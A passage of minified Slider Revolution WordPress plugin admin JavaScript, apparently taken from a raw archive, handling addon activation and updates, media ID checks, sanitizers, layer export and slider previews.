.rs_alethumb_img");RVS.LIB.ADDONS_LIST[e].global||RVS.S.ovMode||(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{}:RVS.SLIDER.settings.addOns[e],RVS.SLIDER.settings.addOns[e].enable=!0,RVS.LIB.ADDONS[e].enable=!0),RVS.F.ajaxRequest("activate_addon",{addon:e},function(a){a.success&&(RVS.LIB.ADDONS_LIST[e].active=!0,window[t]=a[e],"undefined"==typeof revbuilder||void 0!==RVS.SLIDER.settings&&RVS.SLIDER.settings.addOns.hasOwnProperty(e)?window[t].enabled=RVS.F._d(RVS.F._truefalse(window[t].enabled),!RVS.S.ovMode&&(void 0!==RVS.SLIDER.settings.addOns[e]&&RVS.SLIDER.settings.addOns[e].enable)):window[t].enabled=!0,tpGS.gsap.fromTo(i,2,{zIndex:"13",clip:"rect(95px 95px 95px 95px)"},{clip:"rect(0px 190px 190px 0px)"}),jQuery("#ale_"+e+" .rs_ale_enabled").show(),RVS.F.showAddonInfos(e),RVS.F.addonInstalledOnDemand(e),RVS.F.loadCSS(RVS.ENV.wp_plugin_url+e+"/admin/assets/css/"+e+"-admin.css"),jQuery.getScript(RVS.ENV.wp_plugin_url+e+"/admin/assets/js/"+e+"-admin.js",function(){RVS.F.showAddonInfos(e),!RVS.S.ovMode&&RVS.LIB.ADDONS[e].enable&&RVS.DOC.trigger(e+"_init")}).fail(function(e,t,i){console.log(i)}))},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.activatingaddon+'"</span>')}}),RVS.DOC.on("click","#process_all_addon_updates",function(){}),RVS.DOC.on("click","#check_addon_updates",function(){RVS.F.ajaxRequest("check_for_updates",{},function(e){e.success&&(RVS.ENV.latest_version=e.version,delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList())})}),RVS.DOC.on("click",".ale_i_enableaddon",function(){var e=this.dataset.slug;!0!==RVS.LIB.ADDONS_LIST[e].global?(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{}:RVS.SLIDER.settings.addOns[e],RVS.SLIDER.settings.addOns[e].enable=!0,RVS.LIB.ADDONS[e].enable=!0,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+this.dataset.slug+" .rs_ale_enabled").show()):RVS.F.ajaxRequest("wp_ajax_enable_"+e,{},function(t){RVS.LIB.ADDONS[e].enable=!0,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+e+" .rs_ale_enabled").show()},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.enablingaddon+'"</span>')}),RVS.DOC.on("click",".ale_i_disableaddon",function(){var e=this.dataset.slug;RVS.LIB.ADDONS_LIST[e].global?RVS.F.ajaxRequest("wp_ajax_disable_"+e,{},function(t){RVS.LIB.ADDONS[e].active=!1,RVS.LIB.ADDONS[e].enable=!1,RVS.DOC.trigger(e+"_init"),RVS.F.showAddonInfos(e),jQuery("#ale_"+e+" .rs_ale_enabled").hide()},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.disablingaddon+'"</span>'):(RVS.SLIDER.settings.addOns[e].enable=!1,RVS.DOC.trigger(e+"_init"),RVS.LIB.ADDONS[e].enable=!1,RVS.F.showAddonInfos(e),jQuery("#ale_"+this.dataset.slug+" .rs_ale_enabled").hide())}),RVS.DOC.on("click",".ale_i_updateaddon",function(){var e=this.dataset.slug;RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(t){t.success&&(void 0!==RVS.ENV.addOns_to_update[e]&&!0!==RVS.ENV.addOns_to_update[e].updated&&(RVS.ENV.addOns_to_update[e].updated=!0),delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList(e))},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.updatingaddon+" "+e+'"</span>')}),RVS.DOC.on("click",".ale_i_allupdateaddon",function(){RVS.F.checkForAddonsActionNeeded(),RVS.F.updateAddonsInRow()}),RVS.DOC.on("click","#rbm_configpanel_savebtn",function(){RVS.DOC.trigger("save_"+this.dataset.slug)})),RVS.F.RSDialog.create({modalid:"rbm_addons",bgopacity:.85}),jQuery("#rbm_addonlist, #rbm_addon_details").RSScroll({suppressScrollX:!0}),RVS.F.checkForAddonsActionNeeded()},RVS.F.checkForAddonsActionNeeded=function(){for(var e in RVS.S.slugsToUpdate=[],RVS.C.PRALADUP=null==RVS.C.PRALADUP||null==RVS.C.PRALADUP||0==RVS.C.PRALADUP.length?document.getElementById("process_all_addon_updates"):RVS.C.PRALADUP,RVS.LIB.ADDONS)RVS.LIB.ADDONS[e].available>RVS.LIB.ADDONS[e].installed&&RVS.S.slugsToUpdate.push(RVS.LIB.ADDONS[e].slug);RVS.S.slugsToUpdate.length>0?RVS.C.PRALADUP.style.display="inline-block":RVS.C.PRALADUP.style.display="none"},RVS.F.updateAddonsInRow=function(){if(RVS.S.slugsToUpdate.length>0){var e=RVS.S.slugsToUpdate[0];RVS.F.ajaxRequest("activate_addon",{addon:e,update:!0},function(t){t.success&&(void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[e]&&(RVS.LIB.ADDONS[e].installed=RVS.LIB.ADDONS[e].available),void 0!==RVS.LIB.ADDONS_LIST&&void 0!==RVS.LIB.ADDONS_LIST[e]&&(RVS.LIB.ADDONS_LIST[e].installed=RVS.LIB.ADDONS_LIST[e].available)),RVS.S.slugsToUpdate.splice(0,1),RVS.F.updateAddonsInRow()},void 0,void 0,RVS_LANG.addon+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.updatingaddon+" "+e+'"</span>')}else delete RVS.LIB.ADDONS_LIST,document.getElementById("rbm_addonlist").innerHTML="",RVS.F.loadAddonList(e),RVS.C.PRALADUP.style.display="none",RVS.F.notifications&&RVS.F.notifications()},RVS.F.showAddonInfos=function(e){if(void 0!==RVS.LIB.ADDONS_LIST&&void 0!==RVS.LIB.ADDONS_LIST[e]){var t='<div class="rbm_addon_details_inner">',i=RVS.LIB.ADDONS_LIST[e],a=i.active?i.global?RVS_LANG.enableglobaladdon:RVS_LANG.enableaddon:i.global?RVS_LANG.activateglobaladdon:RVS_LANG.activateaddon,o=i.global?RVS_LANG.disableglobaladdon:RVS_LANG.disableaddon;t+='<div class="div20"></div>',t+='<div class="ale_i_title">'+i.title+"</div>",t+='<div class="ale_i_content">'+i.line_1+" "+i.line_2+"</div>",t+='<div class="div20"></div>',RVS.S.ovMode&&!i.global&&i.active&&i.installed?t+='<div class="basic_action_button_inactive autosize basic_action_button" data-slug="'+i.slug+'" data-global="'+i.global+'"><i class="material-icons">error_outline</i>'+RVS_LANG.addonOnlyInSlider+"</div>":RVS.F.compareVersions(i.version_from,RVS.ENV.revision)?i.installed?i.active?RVS.LIB.ADDONS[e].enable?t+='<div class="ale_i_disableaddon basic_action_coloredbutton autosize basic_action_button" data-global="'+i.global+'" data-slug="'+i.slug+'"><i class="material-icons">remove_circle_outline</i>'+o+"</div>":RVS.S.ovMode&&!i.global?t+="":t+='<div class="ale_i_enableaddon basic_action_coloredbutton autosize basic_action_button" data-global="'+i.global+'" data-slug="'+i.slug+'"><i class="material-icons">power_settings_new</i>'+a+"</div>":t+='<div class="ale_i_activateaddon basic_action_coloredbutton autosize basic_action_button" data-slug="'+i.slug+'" data-global="'+i.global+'"><i class="material-icons">power_settings_new</i>'+a+"</div>":t+='<div class="ale_i_installaddon basic_action_coloredbutton autosize basic_action_button" data-slug="'+i.slug+'" data-global="'+i.global+'"><i class="material-icons">get_app</i>'+RVS_LANG.install_and_activate+"</div>":t+='<div class="ale_i_errorbutton basic_action_button autosize"><i class="material-icons">error_outline</i>'+RVS_LANG.checkforrequirements+"</div>",t+="</div>",t+='<div class="ale_i_line"></div>',t+='<div class="rbm_addon_details_inner">',t+="<row>",t+="<onehalf>",t+='<div class="ale_i_title">'+RVS_LANG.installedversion+"</div>",!1===i.installed?t+='<div class="ale_i_content">'+RVS_LANG.notinstalled+"</div>":t+='<div class="ale_i_content">'+(!0===i.installed?void 0===i.available?RVS_LANG.availableversion:i.available:i.installed)+"</div>",t+="</onehalf>",t+="<onehalf>",t+='<div class="ale_i_title">'+RVS_LANG.availableversion+"</div>",t+='<div class="ale_i_content">'+i.available+"</div>",t+="</onehalf>",t+="</row>",t+='<div class="div20"></div>',t+='<div class="ale_i_title">'+RVS_LANG.requirements+"</div>",RVS.F.compareVersions(i.version_from,RVS.ENV.revision)?t+='<div class="ale_i_content"><i class="material-icons">check</i>'+RVS_LANG.sliderrevversion+" "+i.version_from+"</div>":t+='<div class="ale_i_content ale_yellow"><i class="material-icons">error_outline</i>'+RVS_LANG.sliderrevversion+" "+i.version_from+"</div>",!1!==i.installed&&!0===RVS.F.compareVersions(i.installed,i.available,"<")&&(t+='<div class="div20"></div>',t+='<div class="ale_i_updateaddon  basic_action_coloredbutton autosize basic_action_button" data-global="'+i.global+'" data-slug="'+i.slug+'"><i class="material-icons">get_app</i>'+RVS_LANG.updateNow+"</div>"),t+="</div>",t+='<div class="ale_i_line"></div>',t+='<div class="form_collector" id="addon_configuration_subpanel"></div>',document.getElementById("rbm_addon_details").innerHTML=t,RVS.F.configPanelSaveButton({show:!1,slug:e}),i.active&&RVS.DOC.trigger(i.slug+"_config",{container:"addon_configuration_subpanel"})}},RVS.F.configPanelSaveButton=function(e){var t=document.getElementById("rbm_configpanel_savebtn");!0===e.show?(t.style.display="block",t.dataset.slug=e.slug):t.style.display="none"},RVS.F.compareVersions=function(e,t,i){if(void 0===e||void 0===t)return!1;var a,o,r;for(e+="",t+="",regExStrip0=/(\.0+)+$/,segmentsA=e.replace(regExStrip0,"").split("."),segmentsB=t.replace(regExStrip0,"").split("."),l=Math.min(segmentsA.length,segmentsB.length),a=0;a<l;a++)if(o=parseInt(segmentsA[a],10)-parseInt(segmentsB[a],10))return void 0===i&&o<=0||"<"===i&&o<0;return r=segmentsA.length-segmentsB.length,void 0===i&&r<=0||"<"===i&&r<0},RVS.F.preloadImage=function(e){var t=new Image;!0!==e.silent&&RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.imageisloading}),t.onload=function(){if(void 0!==e.slideId&&void 0!==e.uid){RVS.SLIDER[e.slideId].layers[e.uid].size.originalWidth=this.width,RVS.SLIDER[e.slideId].layers[e.uid].size.originalHeight=this.height;var t=0===parseInt(this.height,0)?0:parseInt(this.width,0)/parseInt(this.height,0);RVS.SLIDER[e.slideId].layers[e.uid].size.aspectRatio=RVS.F.cToResp({default:"1",val:t}),RVS.SLIDER[e.slideId].layers[e.uid].media.loaded=!0}!0!==e.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),e.callback&&e.callback.call()},t.onerror=function(){void 0!==e.slideId&&void 0!==e.uid&&(RVS.SLIDER[e.slideId].layers[e.uid].media.imageUrl=RVS.ENV.img_ph_url,RVS.SLIDER[e.slideId].layers[e.uid].size.originalWidth=300,RVS.SLIDER[e.slideId].layers[e.uid].size.originalHeight=200,RVS.SLIDER[e.slideId].layers[e.uid].size.aspectRatio=RVS.F.cToResp({default:"1",val:1.5}),RVS.SLIDER[e.slideId].layers[e.uid].media.loaded=!0),!0!==e.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),e.callback&&e.callback.call()},t.onabort=function(){!0!==e.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),e.callback&&e.callback.call()},t.src=e.image},RVS.F.createMiniPreloader=function(e){jQuery("#font_minipreloader").remove(),e.container.append(jQuery('<div id="font_minipreloader" style="position:absolute; top:5px;right:5px; width:20px:height:20px"><svg  height="20" width="20"><circle style="visibility:visible; color:#fff;" class="circle-fill" cx="10" cy="10" r="8" stroke="white" stroke-width="3" fill="none" /></svg>')),RVS.S.miniPreloaderTL=tpGS.gsap.timeline({repeat:-1,delay:.3}),RVS.S.miniPreloaderTL.add(tpGS.gsap.fromTo(".circle-fill",.7,{drawSVG:"0%"},{drawSVG:"80%",ease:"none",force3D:!0}),0),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{drawSVG:"0%",ease:"none"}),1),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{rotation:360,ease:"none",transformOrigin:"50% 50%"}),0),RVS.S.miniPreloaderTL.add(tpGS.gsap.to(".circle-fill",.7,{rotation:0,ease:"none",transformOrigin:"50% 50%"}),.7)},RVS.F.miniPreloaderOut=function(e){RVS.S.miniPreloaderTL.reverse(),tpGS.gsap.to("#font_minipreloader",1,{scale:0,transformOrigin:"50% 50%",ease:"power3.inOut",overwrite:"all",force3D:!0,delay:.5,onComplete:e?function(){jQuery("#font_minipreloader").remove()}:function(){}})},RVS.F.miniPreloaderKill=function(){setTimeout(function(){jQuery("#font_minipreloader").remove()},2e3)},RVS.F.checkVimeoID=function(e){RVS.F.createMiniPreloader({container:jQuery("#video_id_wrap")}),jQuery("#hidden_video_container").remove(),jQuery(document.body).append('<div id="hidden_video_container"></div>'),u=new Vimeo.Player("hidden_video_container",e),v=setTimeout(function(){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut()},3e3),u.ready().then(function(){jQuery("#layer_youtubevimeo_id").removeClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)}).catch(function(e){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)})},RVS.F.checkYouTubeID=function(e){RVS.F.createMiniPreloader({container:jQuery("#video_id_wrap")}),jQuery("#hidden_video_container").remove(),jQuery(document.body).append('<div id="hidden_video_container"></div>'),v=setTimeout(function(){jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut()},3e3),window._youtubeplayer_=new YT.Player("hidden_video_container",{videoId:e.id,events:{onReady:function(){jQuery("#layer_youtubevimeo_id").removeClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)},onError:function(){console.log("ERROR"),jQuery("#layer_youtubevimeo_id").addClass("badvalue"),RVS.F.miniPreloaderOut(),clearTimeout(v)}}})},RVS.F.showMouseInfo=function(e){void 0===RVS.C.mouseInfo&&(RVS.C.mouseInfo=jQuery("#mouseInfoBox"),RVS.C.mouseInfo.appendTo(jQuery(document.body))),void 0!==e.html?RVS.C.mouseInfo[0].innerHTML=e.html:void 0!==e.text&&(RVS.C.mouseInfo[0].innerHTML=e.text),s=!0,RVS.C.mouseInfo[0].className=e.classes||""},RVS.F.hideMouseInfo=function(){s=!1,void 0!==RVS.C.mouseInfo&&tpGS.gsap.set(RVS.C.mouseInfo,{display:"none"})},RVS.F.os=function(){var e="Unknown OS";return-1!=navigator.appVersion.indexOf("Win")?e="Windows":-1!=navigator.appVersion.indexOf("Mac")?e="MacOS":-1!=navigator.appVersion.indexOf("X11")?e="UNIX":-1!=navigator.appVersion.indexOf("Linux")&&(e="Linux"),RVS.S.OSName=e,e},RVS.F.setEditorUrl=function(e){window.history&&window.history.pushState&&(window.lastUrlState=window.location.href,window.history.pushState({},null,window.location.origin+window.location.pathname+"?page=revslider&view=slide&id="+e),RVS.WIN.on("popstate",function(e){window.location.href=window.lastUrlState}))},RVS.F.getEditorUrl=function(){var e;window.location.href;return window.location.href.indexOf("alias=")>=0?RVS.SLIDER.slideIDs[0]:(e=window.location.href.indexOf("&id=")>=0?window.location.href.split("&id="):window.location.href.indexOf("?id=")>=0?window.location.href.split("?id="):window.location.href.split("id="),e=Array.isArray(e)?e[1]:RVS.SLIDER.slideIDs[0],e=RVS.F.isNumeric(e)?e:e.split("&")[0],e=RVS.F.isNumeric(e)?e:e.split("#")[0])},RVS.F.backToOverview=function(){window.location.href=window.location.origin+window.location.pathname+"?page=revslider"},RVS.F.getProportionalSizes=function(e){e.image.width=parseInt("100%"==e.image.width||"auto"==e.image.width?e.viewPort.width:e.image.width,0),e.image.height=parseInt("100%"==e.image.height||"auto"==e.image.height?e.viewPort.height:e.image.height,0),e.viewPort.width=parseInt("100%"==e.viewPort.width||"auto"==e.viewPort.width?e.image.width:e.viewPort.width,0),e.viewPort.height=parseInt("100%"==e.viewPort.height||"auto"==e.viewPort.height?e.image.height:e.viewPort.height,0);var t=e.image.width/e.image.height,i=e.viewPort.width/e.viewPort.height,a={width:e.image.width,height:e.image.height};switch(e.type){case"fit":t>i?(a.width=e.viewPort.width,a.height=e.viewPort.width/t):(a.width=e.viewPort.height*t,a.height=e.viewPort.height);break;case"cover-proportional":t<=i?(a.width=e.viewPort.width,a.height=e.viewPort.width/t):(a.width=e.viewPort.height*t,a.height=e.viewPort.height);break;case"fullwidth":a.width=e.viewPort.width,a.height=e.proportional?a.width/t:e.image.height;break;case"fullheight":a.height=e.viewPort.height,a.width=e.proportional?a.height/t:e.image.width;break;case"cover":a.width=e.viewPort.width,a.height=e.viewPort.height}return a},RVS.F.convPercVals=function(e){return!RVS.F.isNumeric(e)&&!1!==e&&void 0!==e&&!0!==e&&e.match(/%]/g)&&(e=e.split("[")[1].split("]")[0]),e},RVS.F.convertHexToRGB=function(e){return[(e=parseInt(e.indexOf("#")>-1?e.substring(1):e,16))>>16,(65280&e)>>8,255&e]},RVS.F.sanitize_input_ws=function(e){return e.replace(/[^-0-9a-zA-Z_ -]/g,"")},RVS.F.sanitize_columns=function(e){return e.replace(/[^-0-9+\/]/g,"")},RVS.F.sanitize_input=function(e){if(null!==e)return e.replace(/ /g,"-").replace(/[^-0-9a-zA-Z_-]/g,"")},RVS.F.sanitize_alias=function(e){if(null!==e)return(e=e.replace(/ +(?= )/g,"")).replace(/ /g,"-").replace(/[^-0-9a-zA-Z_-]/g,"")},RVS.F.fontNameConvert=function(e){return e.replace(/"/g,"")},RVS.F.sanitize_input_lc=function(e){return e.replace(/ /g,"-").replace(/[^-0-9a-z_-]/g,"")},RVS.F.parseIntPlus=function(e){var t=parseInt(e,0);return RVS.F.isNumeric(t)?t:e},RVS.F.htmlToText=function(e){return e.replace(/</g,"&lt;").replace(/>/g,"&gt;")},RVS.F.insertTextAtCursor=function(e,t){var i=e.getDoc(),a=i.getCursor();i.replaceRange(t,a)},RVS.F.getResizeDirection=function(e){return e.size.height<e.originalSize.height?"height":e.size.height>e.originalSize.height?"height":e.size.width<e.originalSize.width?"width":e.size.width>e.originalSize.width?"width":"none"},RVS.F.whichBGPos=function(e){return"custom"===e.position?e.positionX+"% "+e.positionY+"%":e.position},RVS.F.matchArray=function(e,t){if(!Array.isArray(e)||!Array.isArray(t))return!1;if(e.length!=t.length)return!1;var i=!0;for(var a in e)if(e.hasOwnProperty(a)&&-1===jQuery.inArray(e[a],t)){i=!1;break}if(i)for(var a in t)if(t.hasOwnProperty(a)&&-1===jQuery.inArray(t[a],e)){i=!1;break}return i},RVS.F.mergeArrays=function(e,t){for(var i in t)t.hasOwnProperty(i)&&-1===jQuery.inArray(t[i],e)&&e.push(t[i]);return e},RVS.F.makeArray=function(e,t){if(!Array.isArray(e)){for(var i=[],a=0;a<t;a++)i.push(e);e=i}return e},RVS.F.amove=function(e,t,i){if(Array.isArray(e)||(e=Object.values(e)),i>=e.length)for(var a=i-e.length+1;a--;)e.push(void 0);return e.splice(i,0,e.splice(t,1)[0]),e},RVS.F.rArray=function(e,t){return jQuery.grep(e,function(e){return e!=t})},RVS.F._inArray=function(e,t){for(var i=-1,a=0;a<t.length&&-1===i;)t[a]==e&&(i=a),a++;return i},RVS.F.addT=function(e){var t=0;for(var i in e)e.hasOwnProperty(i)&&(t+=parseInt(e[i],0));return t},RVS.F.isVaOrPx=function(e){var t=!1;return!RVS.F.isNumeric(e)&&e.indexOf("px")>=0?t=!0:RVS.F.isNumeric(e)&&(t=!0),t},RVS.F.retWitSuf=function(e,t){return!RVS.F.isNumeric(e)&&e.indexOf("px")>=0?parseInt(e)+"px":!RVS.F.isNumeric(e)&&e.indexOf("%")>=0?parseInt(e)+"%":!RVS.F.isNumeric(e)&&RVS.F.isNumeric(parseInt(e,0))?parseInt(e)+t:RVS.F.isNumeric(e)?e+t:void 0},RVS.F.firstCharUppercase=function(e){return e.substr(0,1).toUpperCase()+e.substr(1).toLowerCase()},RVS.F._d=function(e,t){return null==e?t:e},RVS.F._truefalse=function(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e},RVS.F.cToResp=function(e){var t,i,a={},o=void 0===(e=void 0===e?{default:0,unit:""}:e).default?0:e.default,r=void 0===e.unit?"":e.unit;for(var s in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(s)){var n=RVS.V.sizes[s],d=RVS.V.sizesold[s];if("object"==typeof(o=Array.isArray(e.val)?e.val:void 0!==e.val&&"object"!=typeof e.val?e.val:void 0===e.val||"object"!=typeof e.val||void 0===e.val[d]||null===e.val[d]?o:e.val[d]))for(var l in a[n]=jQuery.extend(!0,{},{v:o,e:!1}),void 0!==e&&void 0!==e.val&&void 0!==e.val[d]&&(a[n].e=!0),o)o.hasOwnProperty(l)&&(a[n].v[l]=r.length>0&&"auto"!==o[l]&&"none"!==o[l]?parseFloat(o[l])+r:o[l],""==r&&(t=(""+a[n].v[l]).indexOf("%"),i=(""+a[n].v[l]).indexOf("px"),t>=0?a[n].v[l]=parseInt(a[n].v[l],0)+"%":i>=0&&(a[n].v[l]=parseInt(a[n].v[l],0)+"px")));else a[n]=jQuery.extend(!0,{},{v:r.length>0&&"auto"!==o&&"none"!==o&&""!==o?parseFloat(o)+r:o,e:!1,u:r}),void 0!==e&&void 0!==e.val&&void 0!==e.val[d]&&(a[n].e=!0),""===a[n].v&&""!==e.default&&(a[n].v=e.default),""==r&&!1!==a[n].v&&!0!==a[n].v&&(t=(""+a[n].v).indexOf("%"),i=(""+a[n].v).indexOf("px"),t>=0?a[n].v=parseInt(a[n].v,0)+"%":i>=0&&(a[n].v=parseInt(a[n].v,0)+"px"))}return a},RVS.F.cToVandU=function(e){var t={v:e.default,u:e.u};t.v=void 0===e.val?t.v:e.val;var i=0;if("object"==typeof t.v)for(var a in t.v)t.v.hasOwnProperty(a)&&(RVS.F.isNumeric(t.v[a])||(t.u=0==i&&t.v[a].indexOf("px")>=0?"px":0==i&&t.v[a].indexOf("%")>=0?"%":t.u,t.v[a]=parseInt(t.v[a],0)+t.u,i++));else RVS.F.isNumeric(t.v)||(t.u=0==i&&t.v.indexOf("px")>=0?"px":0==i&&t.v.indexOf("%")>=0?"%":t.u,t.v=parseInt(t.v,0)+t.u,i++);return t},RVS.F.exportLayerCombo=function(e){void 0===R&&(jQuery(document.body).append('<a style="display:none" id="downloadExportLayerCombo" href="" download></a>'),R=jQuery("#downloadExportLayerCombo"));var t,i=RVS.SLIDER[RVS.S.slideId].slide.thumb.customAdminThumbSrcId,a={};for(var o in RVS.L)RVS.L.hasOwnProperty(o)&&("video"===RVS.L[o].type&&(t=RVS.L[o].media.id),"video"!==RVS.L[o].type&&(a[o]=jQuery.extend(!0,{},RVS.L[o])));return delete a.bottom,delete a.top,delete a.middle,a=JSON.stringify(RVS.F.simplifyAllLayer(a)),RVS.F.ajaxRequest("export_layer_group",{videoid:t,thumbid:i,layers:a,title:e.title},function(e){R[0].href=e.url,R[0].click()},!0,!0),"Exporting Layer Combo File"},RVS.F.simplifyObject=function(e,t){for(var i in t)t.hasOwnProperty(i)&&("object"!=typeof t[i]||Array.isArray(t[i])?e[i]==t[i]&&"text"!==i&&"endWithSlide"!==i&&delete t[i]:(void 0!==e[i]&&"margin"!==i&&"padding"!==i&&(t[i]=jQuery.extend(!0,{},RVS.F.simplifyObject(e[i],t[i]))),jQuery.isEmptyObject(t[i])&&delete t[i]));return t},RVS.F.removeEmptyChilds=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&("object"!=typeof e[i]&&(t[i]=e[i]),jQuery.isEmptyObject(e[i])||(t[i]=jQuery.extend(!0,{},RVS.F.removeEmptyChilds(e[i]))));return t},RVS.F.convertFraction=function(e){var t,i;return-1!==e.search("/")&&2===(i=e.split("/")).length&&(t=parseInt(i[0],10)/parseInt(i[1],10)),t||1/3},RVS.F.openPreivew=function(e){RVS.preview=void 0===RVS.preview?{selectedSize:"d",inited:!1,c:jQuery("#rbm_preview")}:RVS.preview,jQuery("#wpwrap").addClass("inRS_RSpreview"),document.getElementById("rbm_preview_moduletitle").innerHTML=e.title,document.getElementById("copy_shortcode_from_preview").value='[rev_slider alias="'+e.alias+'"][/rev_slider]',RVS.preview.open=!0,RVS.preview.inited||(RVS.preview.inited=!0,RVS.DOC.on("click",".rbm_prev_size_sel",function(){jQuery(".rbm_prev_size_sel.selected").removeClass("selected"),this.className+=" selected",RVS.preview.selectedSize=this.dataset.ref,RVS.F.updatePreviewSize()}),RVS.DOC.on("click","#rbm_preview .rbm_close",function(){jQuery("#wpwrap").removeClass("inRS_RSpreview"),RVS.F.RSDialog.close(),RVS.preview.open=!1,document.getElementById("rbm_preview_live").innerHTML=""}),RVS.F.initCopyClipboard(".copypreviewshortcode"),RVS.DOC.on("windowresized",function(){RVS.preview.open&&RVS.F.updatePreviewSize()})),RVS.preview.iframe=document.createElement("iframe"),document.getElementById("rbm_preview_live").appendChild(RVS.preview.iframe),RVS.F.RSDialog.create({modalid:"rbm_preview",bgopacity:.85});var t={id:e.id};"editor"===e.mode&&(t.data=RVS.F.getAllSliderDatas()),RVS.F.ajaxRequest("preview_slider",t,function(e){e.success?(RVS.preview.layouttype=e.layouttype,RVS.preview.sizes=e.size,RVS.preview.iframe.contentWindow.document.open(),RVS.preview.iframe.contentWindow.document.write(e.html),RVS.preview.iframe.contentWindow.document.close(),RVS.F.updatePreviewSize()):(RVS.F.showErrorMessage(e.message),jQuery("#rbm_preview .rbm_close").trigger("click"))},void 0,!0)},RVS.F.updatePreviewSize=function(){if(void 0!==RVS.preview&&void 0!==RVS.preview.sizes&&null!=RVS.preview.sizes.width&&null!=RVS.preview.sizes.height){var e=function(e,t){var i=!1,a={w:parseInt(e.width.d,0),h:e.height.d};for(var o in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(o)&&!0!==i&&(e.custom[RVS.V.sizes[o]]&&(a.w=parseInt(e.width[RVS.V.sizes[o]],0),a.h=parseInt(e.height[RVS.V.sizes[o]],0)),RVS.V.sizes[o]===t&&(i=!0));return a}(RVS.preview.sizes,RVS.preview.selectedSize),t={w:parseInt(RVS.preview.sizes.width[RVS.preview.selectedSize],0),h:parseInt(RVS.preview.sizes.height[RVS.preview.selectedSize],0)};!1===RVS.preview.sizes.custom[RVS.preview.selectedSize]&&(t.w=Math.min(e.w,RVS.ENV.grid_sizes[RVS.preview.selectedSize]),t.h=t.w/e.w*e.h),t.w=t.w-1;var i=Math.min(t.w,RVS.S.winw),a=Math.min(t.h+50,RVS.S.winh),o="fullscreen"===RVS.preview.layouttype||"fullwidth"===RVS.preview.layouttype,r="fullscreen"===RVS.preview.layouttype;tpGS.gsap.set(RVS.preview.c,{width:"d"===RVS.preview.selectedSize&&o?"100%":Math.max(690,i),height:"d"===RVS.preview.selectedSize&&r?"100%":a}),tpGS.gsap.set(RVS.preview.iframe,{maxHeight:"100%",maxWidth:"100%",margin:"auto",position:"relative",left:"50%",x:"-50%"}),RVS.preview.iframe.width=o?"m"===RVS.preview.selectedSize?Math.min(t.w,i):"100%":Math.min(t.w,i),RVS.preview.iframe.height=r&&"d"===RVS.preview.selectedSize?RVS.S.winh-50:t.h,RVS.F.RSDialog.center()}}}();PK�y3\��{�@�@!assets/js/modules/overview.min.jsnu�[���/*!
 * REVOLUTION 6.0.0 OVERVIEW JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function showPluginInfos(){}!function(){RVS.F.initOverView=function(){RVS.F.initAdmin(),RVS.C.rsOVM=jQuery("#rs_overview_menu"),RVS.S.ovMode=!0,RVS.F.initialiseInputBoxes("overview"),initLocalListeners(),jQuery("#plugin_history").RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}),sliderLibrary.output=jQuery("#existing_sliders"),sliderLibrary.sfw=jQuery("#slider_folders_wrap"),sliderLibrary.sfw.appendTo(jQuery(document.body)),sliderLibrary.sfwu=jQuery("#slider_folders_wrap_underlay"),sliderLibrary.backOneLevel=jQuery('<div id="back_one_folder" class="new_slider_block"><i class="material-icons">more_horiz</i><span class="nsb_title">Back</span></div>'),sliderLibrary.selectedFolder=-1,sliderLibrary.selectedPage=1,sliderLibrary.slidesContainer=jQuery(".overview_slide_elements"),updateParentAttributes(),sliderLibrary.filters=buildModuleFilters(),function(){window.ov_scroll_targets=[];var e=0;jQuery(".rso_scrollmenuitem").each(function(){void 0!==this.dataset.ref&&(window.ov_scroll_targets.push({obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=e,e++)}),jQuery("#adminmenuwrap").append('<div id="wpadmin_overlay"></div>'),jQuery("#wpcontent").append('<div id="wpadmin_overlay_top"></div>'),tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.6,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"}),jQuery("#adminmenuback, #adminmenuwrap, 